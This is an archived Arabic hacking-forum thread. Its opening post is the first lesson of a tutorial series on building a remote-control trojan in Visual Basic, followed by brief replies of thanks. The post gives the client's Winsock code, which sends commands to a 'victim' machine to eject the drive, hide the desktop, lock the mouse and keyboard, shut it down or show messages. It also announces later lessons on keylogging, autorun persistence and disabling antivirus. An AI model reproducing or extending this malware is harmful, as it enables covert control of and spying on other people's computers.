التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. الـقرصـنـة والأختراق ~ The Hidden World Of Hackers .:: ] > قســم إختــراق الأجهــزة

موضوع مغلق
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 10-27-2011, 06:50 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
إحصائية العضو






هكر المالكي غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
هكر المالكي is on a distinguished road

.......... شرح صناعة برنامج اختراق عربي


بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته






الفكرة :-

تصميم برنامج إختراق أجهزة من عميل و خادم بالفيجول بيزك

الهدف :-

إيجاد برنامج عربى قوى ينافس البرامج الأجنبية وافكاري دوما قابلة للتطوير يا شعبي

سلسلة الدروس :-

1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام
وهذا هو الدرس الذى سنتناوله اليوم

2- إضافة محادثة العميل والضحية
3- إضافة محادثة الماتركس
4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ
5- إضافة الكى لوجر جاسوس لوحة المفاتيح
6- تعليم صناعة محرر الخادم الإيدت سرفر
7- إضافة إدارة النوافذ
8- إضافة إدارة الملفات
9- إضافة تصوير الشاشة والكاميرا
10- إضافة الحماية بالباسورد

-: الشرح :-



افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE


راح يفتح لك فورم فارغ كما بالصورة التالية




الآن علينا تغيير خصائص الفورم حتى تناسبنا
والان من مربع الخصائص Properties نقوم بالآتى :
1- تغيير الإسم من الخاصية Name إلى Main
2- تغيير الحدود من BorderStyle إلى Fixed Single
3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client
وهذه الصورة للتوضيح


الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية


ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح





الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية


نفس العملية أيضا مع الأزرار من الخاصية Caption

أما مربعات النصوص فنغيرها من الخاصية Text


الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى

زر الإتصال = cmdConnect
زر قطع الإتصال = cmdDissconnect
مربع إدخال الأى بى = txtIP
مربع إدخال المنفذ = txtPort
عنوان الحالة = lblStat
إضافة فورم المرح والرسائل
نقوم بإضافة فورم جديد كما بالصورة التالية





راح يفتح لنا هذه النافذة





نقوم بإختيار الخيار الأول Form

راح يفتح لنا فورم جديد كالسابق





نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد





نقوم بإضافة خمسة عشر زر كالتالى





نقوم يتغيير التسميات من Caption كالتالى






الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام

نقوم بإدارج فورم جديد بنفس الطريقة السابقة

نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد

نقوم بإدراج الكائنات كما بالتالى





نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text





ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg



والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك
-: إضافة الوينسوك :-

وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوالMicrosoft API

والان حتى تتمكن من اضافتها اتبع الآتى

عد إلى الفورم الرئيسى Main

اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components




راح يفتح لك قائمة بالأدوات الخارجية المسجلة






ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0
علم امامها بعلامة صح ثم اضغط OK

اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse...

سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX


إن كنت من مستخدمىXP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز
أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز

وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية




اضغط عل OK لتضاف فى آخر ToolBox


قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية



وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnskClinet




أكواد الفورم الرئيسى Main

( لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه )

1- كود زر الإتصال


كود:
If txtIP.Text = "" Then' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If


2- كود زر قطع الإتصال


كود:

lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True' لتفعيل زر الإتصال wnskClinet.Close 'اغلاق الاتصال


3- كود زر المرح



كود:

Fun.Show ' لإظهار فورم المرح






4- كود زر رسائل النظام


كود:

Massege.Show 'لإظهار فورم الرسائل


الحين نبدأ بأكواد الأداة وينسوك
نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود



كود:
wnskClinet.Close lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False'
لتفعيل زر إيقاف الإتصال
الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات




ونلصق هذا الكود فى الإجراء Close



كود:

wnskClinet.Close lblStat.Caption = "خطأ بالإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال





ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود



كود:

lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال


اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود



كود:

cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال


الآن انتهينا من أكواد الفورم الرئيسيى Main


==================


أكواد فورم المرح Fun

1- كود زر فتح سواقة الأقراص


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "opn" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
2- كود زر إغلاق سواقة الأقراص


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "cls" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
3- كود زر إخفاء شريط المهام


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "hid" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
4- كود زر إظهار شريط المهام



كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر ElseMsgBox "انت غير متصل", vbCriticalEnd If
5- كود زر إخفاء سطح المكتب


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dth" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
6- كود زر إظهار سطح المكتب


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dts" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
7- كود زر إخفاء زر إبدأ


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbh" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
8- كود زر إظهار زر إبدأ



كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbs" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
9- كود زر فتح صفحة بالمتصفح


If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة")
Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
10- كود زر ضبط صفحة البدء


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال************ = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")Main.wnskClinet.SendData "oph" & ************ 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
11- كود زر تعطيل الفأرة والمفاتيح


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "smk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
12- كود زر تشغيل الفأرة والمفاتيح


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "pmk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
13- كود زر إغلاق الجهاز


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sht" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
14- كود زر إعادة التشغيل


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "res" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
15- كود زر تشغيل حافظة الشاشة


كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "scr" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
الآن انتهينا من أ كواد فورم المرح Fun


============


أكواد فورم الرسائل Massege


1- أكواد زر إرسال الرسالة


كود:
If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCriticalElse If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End IfEnd If
2- كود زر اختبار الرسالة


كود:
If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If


..~ منقول للفائده ~..



avp wkhum fvkhl[ hojvhr uvfd

   

قديم 10-27-2011, 08:43 PM   رقم المشاركة : 2 (permalink)
معلومات العضو
المفترس
:: مهووس الكمبيوتر ::
 
الصورة الرمزية المفترس
 

 

 
إحصائية العضو





المفترس غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
المفترس is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


والله تعلمت تعلمت الفيجوال بيسك من هدا الدرس وما كنت اعرف انها سهلة لهده درجة

بارك الله فيك اخي

التوقيع

Almoftarse over from here

تم ترك الهاكر والبرمجة وكل ما يخص الكمبيوتر لمدة عام

لا يوجد في هدا العالم صداقة الا صداقة الوالدين وبعدين صداقة العقل وبعدهما صداقة المال والنفود

 

   

قديم 10-27-2011, 09:07 PM   رقم المشاركة : 3 (permalink)
معلومات العضو
 
الصورة الرمزية torina23
 

 

 
إحصائية العضو






torina23 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
torina23 is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


مشكور يا اخ جاري العمل

   

قديم 10-27-2011, 10:32 PM   رقم المشاركة : 4 (permalink)
معلومات العضو
 
إحصائية العضو






هكر المالكي غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
هكر المالكي is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


العفوا ، اتمنىا لكم التوفيق ..~

   

قديم 10-28-2011, 12:11 AM   رقم المشاركة : 5 (permalink)
معلومات العضو
 
الصورة الرمزية AbaqR
 

 

 
إحصائية العضو








AbaqR غير متواجد حالياً

إرسال رسالة عبر MSN إلى AbaqR

 

 

إحصائية الترشيح

عدد النقاط : 10
AbaqR is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


بإأآرك الله فيك اخوي وأطال في عمرك وجعله في ميزان حسناتك

التوقيع

لآإله إلا الله محمدرسول الله
سبحان الله وبحمده...... ...... سبحان الله العظيم
لا إِلَه إِلاَّ أَنْتَ سبحآنك إني كنت من الظالمين
اللهم وفقني لما تحب وترضى

ۚأرجوا من الأخوه
مناصرة الجيش الحر

( صل من قطعك وأحسن إلى من أساء إليك وقل الحقّ ولو على نفسك )
.



 

   

قديم 10-28-2011, 12:14 AM   رقم المشاركة : 6 (permalink)
معلومات العضو
 
الصورة الرمزية V!RùS_MàN
 

 

 
إحصائية العضو







V!RùS_MàN غير متواجد حالياً

إرسال رسالة عبر MSN إلى V!RùS_MàN إرسال رسالة عبر Yahoo إلى V!RùS_MàN إرسال رسالة عبر Skype إلى V!RùS_MàN

 

 

إحصائية الترشيح

عدد النقاط : 10
V!RùS_MàN is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


مشكور يا اخ جاري العمل

   

قديم 10-28-2011, 12:20 AM   رقم المشاركة : 7 (permalink)
معلومات العضو
 
إحصائية العضو






هكر المالكي غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
هكر المالكي is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


اتمنى لكم التوفيق

   

قديم 10-28-2011, 04:31 PM   رقم المشاركة : 8 (permalink)
معلومات العضو
 
الصورة الرمزية hassn
 

 

 
إحصائية العضو





hassn غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
hassn is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


الله يوفقك وينور دربك وينفع فيك الاسلام والمسلمين

   

قديم 10-29-2011, 12:45 AM   رقم المشاركة : 9 (permalink)
معلومات العضو
 
إحصائية العضو






°l||l° نور الظلام °l||l° غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 11
°l||l° نور الظلام °l||l° is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


مشكوور

التوقيع

من لايعتبرني مكسبا له لن اعتبر غيابه خسارة لي........
ومن لم يقبل بي كحلا لعينه فلن اقبل به نعلا لقدمي .......
________________________________________--
لعن الله كل جرار قواد وقواده يقود على عرضه وعرض غيره
اتفوه على هي الوجيه الي تجيب الهم ولا تفكر الى بااخبث وانجس
شي ....
الكلام موجه للي يكرهوني ونفوسهم دنيئه على الاقل حافضه شرفي
وماشيه بخير اهو افضل من الي يجرر ويتمحن بالنت وما خفي اعظم

 

   

قديم 12-08-2011, 11:30 PM   رقم المشاركة : 10 (permalink)
معلومات العضو
 
الصورة الرمزية mouloudhack
 

 

 
إحصائية العضو






mouloudhack غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
mouloudhack is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


merciiiiiiiiiiiii

   

قديم 12-10-2011, 10:02 PM   رقم المشاركة : 11 (permalink)
معلومات العضو
 
الصورة الرمزية kaito
 

 

 
إحصائية العضو






kaito غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
kaito is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


موضوع ممتاز

   

قديم 12-14-2011, 10:02 PM   رقم المشاركة : 12 (permalink)
معلومات العضو
 
الصورة الرمزية joker king
 

 

 
إحصائية العضو






joker king غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
joker king is on a distinguished road

افتراضي رد: شرح صناعة برنامج اختراق عربي


مشكور على الشرح يا اخي

   

موضوع مغلق

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع


الساعة الآن 01:20 AM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0